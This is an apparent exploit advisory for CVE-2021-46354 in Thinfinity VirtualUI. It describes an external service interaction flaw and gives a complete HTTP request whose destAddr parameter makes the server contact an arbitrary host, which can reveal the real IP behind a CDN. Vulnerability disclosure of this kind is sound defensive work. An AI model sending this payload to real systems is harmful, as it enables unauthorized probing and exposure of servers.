Thinfinity VirtualUI 2.5.26.2 Information Disclosure

`Exploit Title: Thinfinity VirtualUI 2.5.26.2 - Information Disclosure  
Date: 18/01/2022  
Exploit Author: Daniel Morales  
Vendor: https://www.cybelesoft.com <https://www.cybelesoft.com/>  
Software Link: https://www.cybelesoft.com/thinfinity/virtualui/ <https://www.cybelesoft.com/thinfinity/virtualui/>  
Version vulnerable: Thinfinity VirtualUI < v2.5.26.2  
Tested on: Microsoft Windows  
CVE: CVE-2021-46354  
  
How it works  
External service interaction arises when it is possible to induce an application to interact with an arbitrary external service. The ability to send requests to other systems can allow the vulnerable server to filtrate the real IP of the webserver or increase the attack surface (it may be used also to filtrate the real IP behind a CDN).  
  
Payload  
An example of the HTTP request "https://example.com/cmd <https://example.com/cmd>?  
cmd=connect&wscompression=true&destAddr=domain.com <http://domain.com/>  
&scraper=fmx&screenWidth=1918&screenHeight=934&fitmode=0&argumentsp=&orientation=0&browserWidth=191  
8&browserHeight=872&supportCur=true&id=null&devicePixelRatio=1&isMobile=false&isLandscape=true&supp  
ortsFullScreen=true&webapp=false”   
  
Where "domain.com <http://domain.com/>" is the external endpoint to be requested.  
  
Vulnerable versions  
It has been tested in VirtualUI version 2.1.28.0, 2.1.32.1 and 2.5.26.2  
  
References  
https://github.com/cybelesoft/virtualui/issues/3 <https://github.com/cybelesoft/virtualui/issues/3>  
https://www.tenable.com/cve/CVE-2021-46354 <https://www.tenable.com/cve/CVE-2021-46354>  
https://twitter.com/danielmofer <https://twitter.com/danielmofer>  
  
`